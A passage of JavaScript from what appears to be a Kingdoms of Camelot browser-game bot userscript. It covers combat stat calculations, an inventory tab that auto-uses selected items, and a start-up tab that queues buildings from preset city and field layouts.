        if(CombatOptions.knt[side]) //Add knight boost
            def += t.stats[tr][2]*parseFloat((CombatOptions.knt[side]/2)/100);
        // logit('side'+side+' '+tr+' def'+def);
        return def;
    },
    c_life: function(tr,side){
        var t = Tabs.Combat;
        var life = t.stats[tr][0];
        if(CombatOptions.research[side].tch15) //Add Healing Potions
            life += t.stats[tr][0]*parseFloat(CombatOptions.research[side].tch15*5/100);
        if(CombatOptions.guardian[side][0] == 'wood' && side == 0){ //Add Guardian Boost
            var boost = 0;
            switch(CombatOptions.guardian[side][1]){
                case 1:
                    boost = 0.01;
                    break;
                case 2:
                    boost = 0.02;
                    break;
                case 3:
                    boost = 0.03;
                    break;
                case 4:
                    boost = 0.04;
                    break;
                case 5:
                    boost = 0.06;
                    break;
                case 6:
                    boost = 0.08;
                    break;
                case 7:
                    boost = 0.10;
                    break;
                case 8:
                    boost = 0.13;
                    break;
                case 9:
                    boost = 0.16;
                    break;
                case 10:
                    boost = 0.20;
                    break;
                default:
                    boost = 0;
            }
            life += t.stats[tr][0]*boost;
        }
        // logit('side'+side+' '+tr+' life'+life);
        return life;
    },
    
    print: function (){
        var t = Tabs.Combat;
        var m = '<div class=pbStat>Results</div><table><TR><TD colspan=3><b>Attacking</b></td><TD colspan=3><b>Defending</b></td><TD>Rounds :'+t.round+'</td></TR>';
        for(var tr in unsafeWindow.unitcost){
            var name = unsafeWindow.unitcost[tr][0];
            m+='<tr><td>'+name+' :</td><td>'+ t.troops[1][tr] +'</td><td><span class=boldRed>'+ t.lost[1][tr] +'</span></td><td>'+name+' :</td><td>'+ t.troops[0][tr] +'</td><td><span class=boldRed>'+ t.lost[0][tr] +'</span></td></tr>';
        }
        m+='</table>';
        document.getElementById('pbcombat_rslt').innerHTML = m;
    },
    show: function(){
    
    },
    
    hide: function(){
    
    },
}

/**************************** Inventory Tab ****************************************/
Tabs.Inventory = {
   myDiv: null,
   general: [],
   combat: [],
   tabLabel: unsafeWindow.g_js_strings.commonstr.inventory,
   resources: [],
   chest: [],
   court: [],
   type: null,
   queue:[],
   isBusy:false,
   counter:0,
   max:0,
   city_holder : 0,
   
   init: function(div){
      var t = Tabs.Inventory;
      t.myDiv = div;
      
      var m = "<DIV class=pbStat>Inventory Tab</div>\
            <CENTER><span class=boldRed>***Use at own risk***</span></center>\
            <TABLE width=100% ><TR>\
            <TD width=50%><input type=submit id=pbinventory_general value='General' />\
               <input type=submit id=pbinventory_combat value='Combat' />\
               <input type=submit id=pbinventory_resources value='Resources' />\
               <input type=submit id=pbinventory_chest value='Chest' />\
               <input type=submit id=pbinventory_court value='Court' /></td>\
            <TD width=50% align=center ><input type=submit id=pbinventory_start value='Start' /></td>\
               </tr>\
            <TD><span id='pbinventory_cityselect'></span></td>\
            <TD><input type=checkbox id=pbinventory_useall />Use all by default</td>\
               </tr></table>\
            <DIV class=pbStat>Items</div>\
            <DIV id=pbinventory></div>\
            <DIV id=pbinventory_info></div>";
      t.myDiv.innerHTML = m;
      t.sort_Items();
      
      t.city = new CdispCityPicker ('pbinventory_city', document.getElementById('pbinventory_cityselect'), true, null);
      
      $("pbinventory_general").addEventListener('click', t.display_general, false);
      $("pbinventory_combat").addEventListener('click', t.display_combat, false);
      $("pbinventory_resources").addEventListener('click', t.display_resources, false);
      $("pbinventory_chest").addEventListener('click', t.display_chest, false);
      $("pbinventory_court").addEventListener('click', t.display_court, false);
      $("pbinventory_start").addEventListener('click', t.start, false);
      
      $("pbinventory_general").click();
      
      //Hack for ItemController
      t.ItemController = new CalterUwFunc("cm.MultiBuyUse.getNumberUsed", [[/(.|\n)*/i,'function (e) {return ItemController_hook();}']]);
      unsafeWindow.ItemController_hook = t.e_total;
   },
   
   sort_Items : function (){
      var t = Tabs.Inventory;
      for(var k in unsafeWindow.ksoItems){
         var item = unsafeWindow.ksoItems[k];
         if(item.count > 0 && item.usable){
            if(item.category == 1){
               t.general.push(item);
            }
            if(item.category == 3){
               t.combat.push(item);
            }
            if(item.category == 4){
               t.resources.push(item);
            }
            if(item.category == 5){
               t.chest.push(item);
            }
            if(item.category == 6){
               t.court.push(item);
            }
            
         }
      }
   },
   
   display_general : function (){
      var t = Tabs.Inventory;
      t.type = "general";
      var div = document.getElementById("pbinventory");
      var count = 0;
      var m = "<TABLE>";
      m += "<TR><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='10px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='20px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td></tr><TR>";
      for (var k in t.general){
         var item = t.general[k];
         if(!item.name) continue;
         m += (count%3 == 0)?"<TR>":"<TD width='10px'>&nbsp;</td>";
         m += "<TD><input type=checkbox class='pbinv_general' data-ft='"+JSON.stringify(item)+"' /></td>";
         m += "<TD><img width='20px' height='20px' src=''+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+item.id+".jpg' /> "+item.name.substr(0,15)+"</td>";
         m += "<TD><input type=text size=2 id='pb_inv_general_"+item.id+"' /></td>";
         m += "<TD>"+item.count+"</td>";
         m += (count%3 == 2)?"</tr>":"";
         count++;
      }
      m += "</table>";
      div.innerHTML = (count!=0)?m:"<CENTER>No useable items in this category</CENTER>";
      
      var nodes = document.getElementsByClassName("pbinv_"+t.type);
      if(nodes.length > 0){
         for(var i=0; i<nodes.length; i++){
            nodes[i].addEventListener('click', function(e){
               var item = JSON.parse(e.target.getAttribute("data-ft"));
               if(e.target.checked)
                  $("pb_inv_"+t.type+"_"+item.id).value = $("pbinventory_useall").checked?item.count:1;
               else
                  $("pb_inv_"+t.type+"_"+item.id).value = '';
            },false);
         }
      }
   },
   display_combat : function (){
      var t = Tabs.Inventory;
      t.type = "combat";
      var div = document.getElementById("pbinventory");
      var count = 0;
      var m = "<TABLE>";
      m += "<TR><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='10px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='20px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td></tr><TR>";
      for (var k in t.combat){
         var item = t.combat[k];
         if(!item.name) continue;
         m += (count%3 == 0)?"<TR>":"<TD width='10px'>&nbsp;</td>";
         m += "<TD><input type=checkbox class='pbinv_combat' data-ft='"+JSON.stringify(item)+"' /></td>";
         m += "<TD><img width='20px' height='20px' src=''+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+item.id+".jpg' /> "+item.name.substr(0,15)+"</td>";
         m += "<TD><input type=text size=2 id='pb_inv_combat_"+item.id+"' /></td>";
         m += "<TD>"+item.count+"</td>";
         m += (count%3 == 2)?"</tr>":"";
         count++;
      }
      m += "</table>";
      div.innerHTML = (count!=0)?m:"<CENTER>No useable items in this category</CENTER>";
      
      var nodes = document.getElementsByClassName("pbinv_"+t.type);
      if(nodes.length > 0){
         for(var i=0; i<nodes.length; i++){
            nodes[i].addEventListener('click', function(e){
               var item = JSON.parse(e.target.getAttribute("data-ft"));
               if(e.target.checked)
                  $("pb_inv_"+t.type+"_"+item.id).value = $("pbinventory_useall").checked?item.count:1;
               else
                  $("pb_inv_"+t.type+"_"+item.id).value = '';
            },false);
         }
      }
   },
   display_resources : function (){
      var t = Tabs.Inventory;
      t.type = "resources";
      var div = document.getElementById("pbinventory");
      var count = 0;
      var m = "<TABLE>";
      m += "<TR><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='10px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='20px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td></tr><TR>";
      for (var k in t.resources){
         var item = t.resources[k];
         if(!item.name) continue;
         m += (count%3 == 0)?"<TR>":"<TD width='10px'>&nbsp;</td>";
         m += "<TD><input type=checkbox class='pbinv_resources' data-ft='"+JSON.stringify(item)+"' /></td>";
         m += "<TD><img width='20px' height='20px' src=''+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+item.id+".jpg' /> "+item.name.substr(0,15)+"</td>";
         m += "<TD><input type=text size=2 id='pb_inv_resources_"+item.id+"' /></td>";
         m += "<TD>"+item.count+"</td>";
         m += (count%3 == 2)?"</tr>":"";
         count++;
      }
      m += "</table>";
      div.innerHTML = (count!=0)?m:"<CENTER>No useable items in this category</CENTER>";
      
      var nodes = document.getElementsByClassName("pbinv_"+t.type);
      if(nodes.length > 0){
         for(var i=0; i<nodes.length; i++){
            nodes[i].addEventListener('click', function(e){
               var item = JSON.parse(e.target.getAttribute("data-ft"));
               if(e.target.checked)
                  $("pb_inv_"+t.type+"_"+item.id).value = $("pbinventory_useall").checked?item.count:1;
               else
                  $("pb_inv_"+t.type+"_"+item.id).value = '';
            },false);
         }
      }
   },
   display_chest : function (){
      var t = Tabs.Inventory;
      t.type = "chest";
      var div = document.getElementById("pbinventory");
      var count = 0;
      var m = "<TABLE>";
      m += "<TR><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='10px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='20px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td></tr><TR>";
      for (var k in t.chest){
         var item = t.chest[k];
         if(!item.name) continue;
         m += (count%3 == 0)?"<TR>":"<TD width='10px'>&nbsp;</td>";
         m += "<TD><input type=checkbox class='pbinv_chest' data-ft='"+JSON.stringify(item)+"' /></td>";
         m += "<TD><img width='20px' height='20px' src=''+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+item.id+".jpg' /> "+item.name.substr(0,15)+"</td>";
         m += "<TD><input type=text size=2 id='pb_inv_chest_"+item.id+"' /></td>";
         m += "<TD>"+item.count+"</td>";
         m += (count%3 == 2)?"</tr>":"";
         count++;
      }
      m += "</table>";
      div.innerHTML = (count!=0)?m:"<CENTER>No useable items in this category</CENTER>";
      
      var nodes = document.getElementsByClassName("pbinv_"+t.type);
      if(nodes.length > 0){
         for(var i=0; i<nodes.length; i++){
            nodes[i].addEventListener('click', function(e){
               var item = JSON.parse(e.target.getAttribute("data-ft"));
               if(e.target.checked)
                  $("pb_inv_"+t.type+"_"+item.id).value = $("pbinventory_useall").checked?item.count:1;
               else
                  $("pb_inv_"+t.type+"_"+item.id).value = '';
            },false);
         }
      }
   },
   display_court : function (){
      var t = Tabs.Inventory;
      t.type = "court";
      var div = document.getElementById("pbinventory");
      var count = 0;
      var m = "<TABLE>";
      m += "<TR><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='10px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td><TD width='20px'>&nbsp;</td><TD></td><TD>Name</td><TD>Use</td><TD>Count</td></tr><TR>";
      for (var k in t.court){
         var item = t.court[k];
         if(!item.name) continue;
         m += (count%3 == 0)?"<TR>":"<TD width='10px'>&nbsp;</td>";
         m += "<TD><input type=checkbox class='pbinv_court' data-ft='"+JSON.stringify(item)+"' /></td>";
         m += "<TD><img width='20px' height='20px' src=''+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+item.id+".jpg' /> "+item.name.substr(0,15)+"</td>";
         m += "<TD><input type=text size=2 id='pb_inv_court_"+item.id+"' /></td>";
         m += "<TD>"+item.count+"</td>";
         m += (count%3 == 2)?"</tr>":"";
         count++;
      }
      m += "</table>";
      div.innerHTML = (count!=0)?m:"<CENTER>No useable items in this category</CENTER>";
      
      var nodes = document.getElementsByClassName("pbinv_"+t.type);
      if(nodes.length > 0){
         for(var i=0; i<nodes.length; i++){
            nodes[i].addEventListener('click', function(e){
               var item = JSON.parse(e.target.getAttribute("data-ft"));
               if(e.target.checked)
                  $("pb_inv_"+t.type+"_"+item.id).value = $("pbinventory_useall").checked?item.count:1;
               else
                  $("pb_inv_"+t.type+"_"+item.id).value = '';
            },false);
         }
      }
   },
   
   e_total : function (){
      var t = Tabs.Inventory;
      return t.max;
   },
   start : function (){
      var t = Tabs.Inventory;
      if(t.isBusy){
         t.isBusy = false;
         $("pbinventory_start").value = "Start";
      } else {
         t.isBusy = true;
         $("pbinventory_start").value = "Stop";
         t.queue = [];
         $("pbinventory_info").innerHTML = "";
         var nodes = document.getElementsByClassName("pbinv_"+t.type);
         for(var i = 0; i < nodes.length; i++){
            if(nodes[i].checked){
               try{
                  t.queue.push(JSON.parse(nodes[i].getAttribute("data-ft")));
               } catch (e){
                  logit(inspect(e,7,1));
               }
            }
         }
         if(t.queue.length > 0)
            t.nextqueue();
      }
   },
   
   nextqueue : function (){
      var t = Tabs.Inventory;
      if(!t.isBusy)
         return;
      var div = $("pbinventory_info");
      var m = document.createElement('span');
      if(t.queue.length > 0){
         var item = t.queue[0];
         t.counter = 0;
         t.max = parseIntNan($("pb_inv_"+t.type+"_"+item.id).value);
         m.innerHTML = "<span id='pb_inv_info_"+item.id+"'>Using item "+item.name+" <span id='pb_inv_info_count_"+item.id+"'>1</span> of <span id='pb_inv_info_max_"+item.id+"'>"+t.max+"</span>. Left <span id='pb_inv_info_left_"+item.id+"'>"+(t.max-t.counter)+"</span> <span id='pb_inv_info_extra_"+item.id+"'> </span></span><br />";
      } else {
         m.innerHTML = "Completed! \n";
         t.isBusy = false;
         $("pbinventory_start").value = "Start";
      }
      if(div.firstChild){
         div.insertBefore(m, div.firstChild);
      } else {
         div.appendChild(m);
      }
      if(t.ItemController.isAvailable)
         t.useitem_new();
      else
         t.useitem();
   },
   
   useitem_new : function (){
      var t = Tabs.Inventory;
      if(!t.isBusy)
         return;
      t.ItemController.setEnable(true); //Set to use current value specified
      if(t.city.city.id){ //Set to use city specified
         t.city_holder = unsafeWindow.currentcityid;
         unsafeWindow.currentcityid = t.city.city.id;
      }
      var item = t.queue[0];
      $("pb_inv_info_left_"+item.id).innerHTML = 0;
      $("pb_inv_info_count_"+item.id).innerHTML = t.max;
      unsafeWindow.cm.ItemController.use(item.id);
      setTimeout(t.wait_new, 250, 0);
   },
   
   wait_new : function (){
      var t = Tabs.Inventory;
      if(!t.isBusy)
         return;
      var item = t.queue[0];
      item = unsafeWindow.ksoItems[item.id];
      t.queue[0] = item;
      $("pb_inv_info_extra_"+item.id).innerHTML = "All done";
      t.queue.shift();
      t.ItemController.setEnable(false); //Switch off value fixed
      if(t.city.city.id){ //Set currentcity to old value
         unsafeWindow.currentcityid = t.city_holder;
      }
      t.nextqueue();
   },
   
   useitem : function (){
      var t = Tabs.Inventory;
      if(!t.isBusy)
         return;
      var item = t.queue[0];
      unsafeWindow.cm.ItemController.use(item.id);
      setTimeout(t.wait, 250, 0);
   },
   
   wait : function (retries){
      var t = Tabs.Inventory;
      if(!t.isBusy)
         return;
      var item = t.queue[0];
      item = unsafeWindow.ksoItems[item.id];
      t.queue[0] = item;
      t.counter++;
      $("pb_inv_info_count_"+item.id).innerHTML = t.counter;
      $("pb_inv_info_left_"+item.id).innerHTML = (t.max-t.counter);
      if(t.counter >= t.max){
         $("pb_inv_info_extra_"+item.id).innerHTML = "All done";
         t.queue.shift();
         t.nextqueue();
         return;
      }
      $("pb_inv_info_extra_"+item.id).innerHTML = "Done. Wait for 1 second..";
      setTimeout(t.useitem, 150);
   },
   
   show: function (){
   
   },
   hide: function (){
   
   }
}


/**************************** Start Up Tab ******************************************/

var buildingIDs = {
    Storehouse:9,Farm:1,Mine:4,Quarry:3,Sawmill:2,Castle:0,Wall:19,Barracks:13,Cottage:5,RelStat:18,Stable:17,Blacksmith:15,KnightsHall:7,Workshop:16,FeySpire:20,Apothecary:21,RallyPoint:12,Embassy:8,AlcLab:11,Nothing:0,WatchTower:14
    };
var buildingTypes = {
    type5:"Cottage",type6:"",type7:"KnightsHall",type8:"Embassy",type9:"Storehouse",type10:"",type11:"AlcLab",type12:"RallyPoint",type13:"Barracks",type14:"WatchTower",type15:"Blacksmith",type16:"Workshop",type17:"Stable",type18:"RelStation",type19:"Wall",type20:"FeySpire",type21:"Apothecary",
};
var cityBuildingNames = {
    Storehouse:"Storehouse",Wall:"Wall",Cottage:"Cottage",Barracks:"Barracks",Blacksmith:"Blacksmith",Stable:"Stable",Apothecary:"Apothecary",Workshop:"Workshop",FeySpire:"Fey Spire",Embassy:"Embassy",RelStation:"Relief Station",AlcLab:"Alchemy Lab",WatchTower:"Watch Tower",KnightsHall:"Knights Hall",RallyPoint:"Rally Point",
    };
var fieldBuildingNames = {
    Farm:"Farm",Mine:"Mine",Sawmill:"Mill",Quarry:"Quarry",
    };
var layoutOptions = {
    pos1:"Wall",pos2:"Barracks",pos3:"Cottage",pos4:"RelStation",pos5:"Storehouse",pos6:"Barracks",pos7:"Barracks",pos8:"Stable",pos9:"KnightsHall",pos10:"RallyPoint",pos11:"Barracks",pos12:"Barracks",pos13:"Barracks",pos14:"Cottage",pos15:"FeySpire",pos16:"Apothecary",pos17:"Blacksmith",pos18:"Workshop",pos19:"AlcLab",pos20:"Barracks",pos21:"Barracks",pos22:"Barracks",pos23:"Embassy",pos24:"Cottage",pos25:"Barracks",pos26:"Barracks",pos27:"Barracks",pos28:"Cottage",pos29:"Cottage",pos30:"Barracks",pos31:"Barracks",pos32:"Cottage"
    };
var fieldlayoutOptions = {
    pos100:"Farm",pos101:"Sawmill",pos104:"Quarry",pos105:"Mine",pos102:"Mine",pos103:"Mine",pos106:"Mine",pos107:"Mine",pos108:"Mine",pos109:"Mine",pos110:"Mine",pos111:"Mine",pos112:"Mine",pos113:"Mine",pos114:"Mine",pos115:"Mine",pos116:"Mine",pos117:"Mine",pos118:"Mine",pos119:"Mine",pos120:"Mine",pos121:"Mine",pos122:"Mine",pos123:"Mine",pos124:"Mine",pos125:"Mine",pos126:"Mine",pos127:"Mine",pos128:"Mine",pos129:"Mine",pos130:"Mine",pos131:"Mine",pos132:"Mine",pos133:"Mine",pos134:"Mine",pos135:"Mine",pos136:"Mine",pos137:"Mine",pos138:"Mine",pos139:"Mine",pos142:"Mine"
    };  
var AscbuildingIDs = {
    Castle:0,Wall:19,Barracks:13,Cottage:5,KnightsHall:7,FeySpire:20,RallyPoint:12,Embassy:8,AlcLab:11,Nothing:0,Wall:19,Market:10,Apothecary:21,WatchTower:14
    };
var AscbuildingTypes = {
    type5:"Cottage",type6:"",type7:"KnightsHall",type8:"Embassy",type9:"",type10:"Market",type11:"AlcLab",type12:"RallyPoint",type13:"Barracks",type14:"WatchTower",type19:"Wall",type20:"FeySpire",type21:"Apothecary"
};
var AsccityBuildingNames = {
    Wall:"Wall",Cottage:"Cottage",Barracks:"Barracks",Apothecary:"Apothecary",FeySpire:"Fey Spire",Embassy:"Embassy",AlcLab:"Alchemy Lab",WatchTower:"Watch Tower",KnightsHall:"Knights Hall",RallyPoint:"Rally Point",Market:"Market"
    };

Tabs.startup = {
    tabOrder : 99999,
    tabDisabled : false,
    tabLabel : 'StartUp',
    myDiv : null,
    where: 'City', //Initialize to city by default


    init : function (div){
        var t = Tabs.startup;
        t.myDiv= div;
        var counter=0;
        var m = '<DIV id=pbStartupDiv class=pbStat>New Domain Tools</div><TABLE id=pbNewDomain width=100% height=0% class=pbTab><TR align="center">';
        m += '<DIV id=pblvlcity align=center></div><DIv><INPUT id=addToBuildQueue type=submit value="Add to build queue"></div>';
        m += '<INPUT id=toggleFieldLayout type=submit value="Show Field Layout"><INPUT id=toggleCityLayout type=submit value="Show City Layout"><INPUT id=hideGrids type=submit value="Hide Layouts">';
        m += '<DIV id=mainTitles></div>';    
        m += '<DIV id=gridPicture></div>';
           m += '<DIV id=layoutBoxes></div>';
          
        t.myDiv.innerHTML = m;
        t.city = new CdispCityPicker ('pblvlcity', document.getElementById('pblvlcity'), true, t.ClickCitySelect, 0);

        document.getElementById('toggleFieldLayout').addEventListener('click', function () {
                t.paintFieldGrid();
        });
        document.getElementById('toggleCityLayout').addEventListener('click', function () {
                t.paintCityGrid();
        });
        document.getElementById('hideGrids').addEventListener('click', function () {
                document.getElementById('mainTitles').innerHTML = "";
                document.getElementById('gridPicture').innerHTML = "";
                document.getElementById('layoutBoxes').innerHTML = "";

        });
        document.getElementById('addToBuildQueue').addEventListener('click', function () {
            if (t.where == "City") t.addCityToQueue();
            if (t.where == "Field") t.addFieldToQueue();
        });
    },
    ClickCitySelect : function(){ //Call this function when users switch to another city
        var t = Tabs.startup;
        switch(t.where){
            case 'City':
                t.paintCityGrid();
                break;
            case 'Field':
                t.paintFieldGrid();
                break;
            default : //If somehow something goes wrong then paint city view by default
                t.paintCityGrid();
                break;
        }
    },
    getCastleLevel:function(){
        var t = Tabs.startup
    var castle = Seed.buildings["city" + t.city.city.id]["pos0"][1];
        switch(castle){
                case "1":fields = 13;break;
                case "2":fields = 16;break;
                case "3":fields = 19;break;
                case "4":fields = 22;break;
                case "5":fields = 25;break;
                case "6":fields = 28;break;
                case "7":fields = 31;break;
                case "8":fields = 34;break;
                case "9":fields = 37;break;
                case "10":fields = 40;break;
                case "11":fields = 41;break;
                case "12":fields = 42;break;
        }
        max = (fields-1) + 100;
        return(max)
    },

    addCityToQueue:function(){
        var t = Tabs.startup;
   var AscCityInd = Seed.cityData.city[t.city.city.id].isPrestigeCity;
            for (pos=1;pos<=32;pos++){
      if(AscCityInd == true) {
                      if  (AscbuildingIDs[document.getElementById('tileID' + pos).value] >0) {
                          if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                        var buildingMode = "build";
                        var cityId =  t.city.city.id;
                        var buildingPos = pos;
                        var buildingType = AscbuildingIDs[document.getElementById('tileID' + pos).value];
                        var buildingLevel = 0;
                        var buildingAttempts = 0;
                        var result = Tabs.build.calculateQueueValues(cityId, buildingLevel, buildingType, buildingMode);
                        var buildingMult = result[0];
                        var buildingTime = result[1];
                        var buildingId = AscbuildingIDs[document.getElementById('tileID' + pos).value];
                        Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode);  
                        }                  
                    }
      } else {
         if  (buildingIDs[document.getElementById('tileID' + pos).value] >0) {
                          if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                        var buildingMode = "build";
                        var cityId =  t.city.city.id;
                        var buildingPos = pos;
                        var buildingType = buildingIDs[document.getElementById('tileID' + pos).value];
                        var buildingLevel = 0;
                        var buildingAttempts = 0;
                        var result = Tabs.build.calculateQueueValues(cityId, buildingLevel, buildingType, buildingMode);
                        var buildingMult = result[0];
                        var buildingTime = result[1];
                        var buildingId = buildingIDs[document.getElementById('tileID' + pos).value];
                        Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode); 
                        }                  
                    }
      } 
            }
    },  
    buildExtraLevels:function(rslt,buildItem){
        logit('lvl5FarmDone = ' + Options.lvl5FarmDone + ' lvl3MineDone = ' + Options.lvl3MineDone + ' lvl2BarracksDone = ' + Options.lvl2BarracksDone + ' lvl3WallDone = ' + Options.lvl3WallDone + ' lvl2WorkshopDone = ' + Options.lvl2WorkshopDone + ' lvl5CastleDone = ' + Options.lvl5CastleDone + ' buildingType =' + buildItem.buildingType)
        if (Options.lvl5FarmDone == "false" && buildItem.buildingType == "1") {
            var buildingMode = "build"
               var cityId = buildItem.cityId
               var time = parseInt(buildItem.buildingTime);
            var mult = parseInt(buildItem.buildingMult);
            var attempt = parseInt(buildItem.buildingAttempt);
            var buildingPos   = parseInt(buildItem.buildingPos);
            var buildingType  = 1;
            var buildingLevel = 1; //parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][1]);
            var buildingId    = rslt.buildingId;
            var buildingAttempts = 0;
            for (var bL = 1; bL <5; bL++) {
                var queueId = Tabs.build.loaded_bQ.length;
                var result = Tabs.build.calculateQueueValues(cityId, bL, buildingType, buildingMode);
                var buildingMult = result[0];
                var buildingTime = result[1];
                queueId = queueId ;
                Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, bL, buildingAttempts, buildingMult,buildingMode);
                Tabs.build._addTab(queueId, cityId, buildingType, buildingTime, bL, buildingAttempts, buildingMode);
               }
               Options.lvl5FarmDone = "true";
               saveOptions();
        }
        if (Options.lvl3MineDone == "false" && buildItem.buildingType == "4") {
            var buildingMode = "build"
               var cityId = buildItem.cityId
               var time = parseInt(buildItem.buildingTime);
            var mult = parseInt(buildItem.buildingMult);
            var attempt = parseInt(buildItem.buildingAttempt);
            var buildingPos   = parseInt(buildItem.buildingPos);
            var buildingType  = 4;
            var buildingLevel = 1; //parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][1]);
            var buildingId    = rslt.buildingId;
            var buildingAttempts = 0;
            for (var bL = 1; bL <3; bL++) {
                var queueId = Tabs.build.loaded_bQ.length;
                var result = Tabs.build.calculateQueueValues(cityId, bL, buildingType, buildingMode);
                var buildingMult = result[0];
                var buildingTime = result[1];
                queueId = queueId ;
                Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, bL, buildingAttempts, buildingMult,buildingMode);
                Tabs.build._addTab(queueId, cityId, buildingType, buildingTime, bL, buildingAttempts, buildingMode);
               }
               Options.lvl3MineDone = "true";
               saveOptions();
        }
        if (Options.lvl2BarracksDone == "false" && buildItem.buildingType == "13") {
            var buildingMode = "build"
               var cityId = buildItem.cityId
               var time = parseInt(buildItem.buildingTime);
            var mult = parseInt(buildItem.buildingMult);
            var attempt = parseInt(buildItem.buildingAttempt);
            var buildingPos   = parseInt(buildItem.buildingPos);
            var buildingType  = 13;
            var buildingLevel = 1; //parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][1]);
            var buildingId    = rslt.buildingId;
            var buildingAttempts = 0;
            for (var bL = 1; bL <2; bL++) {
                var queueId = Tabs.build.loaded_bQ.length;
                var result = Tabs.build.calculateQueueValues(cityId, bL, buildingType, buildingMode);
                var buildingMult = result[0];
                var buildingTime = result[1];
                queueId = queueId ;
                Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, bL, buildingAttempts, buildingMult,buildingMode);
                Tabs.build._addTab(queueId, cityId, buildingType, buildingTime, bL, buildingAttempts, buildingMode);
               }
               Options.lvl2BarracksDone = "true";
               saveOptions();
        }
        if (Options.lvl3WallDone == "false" && buildItem.buildingType == "19") { //WALL
            var buildingMode = "build"
               var cityId = buildItem.cityId
               var time = parseInt(buildItem.buildingTime);
            var mult = parseInt(buildItem.buildingMult);
            var attempt = parseInt(buildItem.buildingAttempt);
            var buildingPos   = parseInt(buildItem.buildingPos);
            var buildingType  = 19;
            var buildingLevel = 1;
            var buildingId    = rslt.buildingId;
            var buildingAttempts = 0;
            for (var bL = 1; bL <3; bL++) {
                var queueId = Tabs.build.loaded_bQ.length;
                var result = Tabs.build.calculateQueueValues(cityId, bL, buildingType, buildingMode);
                var buildingMult = result[0];
                var buildingTime = result[1];
                queueId = queueId ;
                Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, bL, buildingAttempts, buildingMult,buildingMode);
                Tabs.build._addTab(queueId, cityId, buildingType, buildingTime, bL, buildingAttempts, buildingMode);
               }
               Options.lvl3WallDone = "true";
               saveOptions();
        }
        if (Options.lvl2WorkshopDone == "false" && buildItem.buildingType == "16") { //workshop
            var buildingMode = "build"
               var cityId = buildItem.cityId
               var time = parseInt(buildItem.buildingTime);
            var mult = parseInt(buildItem.buildingMult);
            var attempt = parseInt(buildItem.buildingAttempt);
            var buildingPos   = parseInt(buildItem.buildingPos);
            var buildingType  = 16;
            var buildingLevel = 1; //parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][1]);
            var buildingId    = rslt.buildingId;
            var buildingAttempts = 0;
            for (var bL = 1; bL <=2; bL++) {
                var queueId = Tabs.build.loaded_bQ.length;
                var result = Tabs.build.calculateQueueValues(cityId, bL, buildingType, buildingMode);
                var buildingMult = result[0];
                var buildingTime = result[1];
                queueId = queueId ;
                Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, bL, buildingAttempts, buildingMult,buildingMode);
                Tabs.build._addTab(queueId, cityId, buildingType, buildingTime, bL, buildingAttempts, buildingMode);
               }
               Options.lvl2WorkshopDone = "true";
               saveOptions();
        }

    },

    addFieldToQueue:function(){
        var t = Tabs.startup;
        var max = t.getCastleLevel();
        Options.lvl5FarmDone = "false";
            for (pos=100;pos<=max;pos++){
                    if  (buildingIDs[document.getElementById('tileID' + pos).value] >0) {
                        if (Seed.buildings['city' + t.city.city.id]["pos" + pos] == undefined){
                        var buildingMode = "build";
                        var cityId =  t.city.city.id;
                        var buildingPos = pos;
                        var buildingType = buildingIDs[document.getElementById('tileID' + pos).value];
                        var buildingLevel = 0;
                        var buildingAttempts = 0;
                        var result = Tabs.build.calculateQueueValues(cityId, buildingLevel, buildingType, buildingMode);
                        var buildingMult = result[0];
                        var buildingTime = result[1];
                        var buildingId = buildingIDs[document.getElementById('tileID' + pos).value];
                        Tabs.build.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode);                      
                        }
                }
            }
    },  

    paintCityGrid:function(cityDiv){
        var t = Tabs.startup;
        t.myDiv = cityDiv;
        t.where = "City";
        var counter = 0;
   	var AscCityInd = Seed.cityData.city[t.city.city.id].isPrestigeCity;
        var cityGrid = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/CityTileIDs.jpg">';
   	var asccityGrid = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/AscCityTileIDs.jpg">';
	var asccityfeyGrid = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/AscCityFeyTileIDs.jpg">';
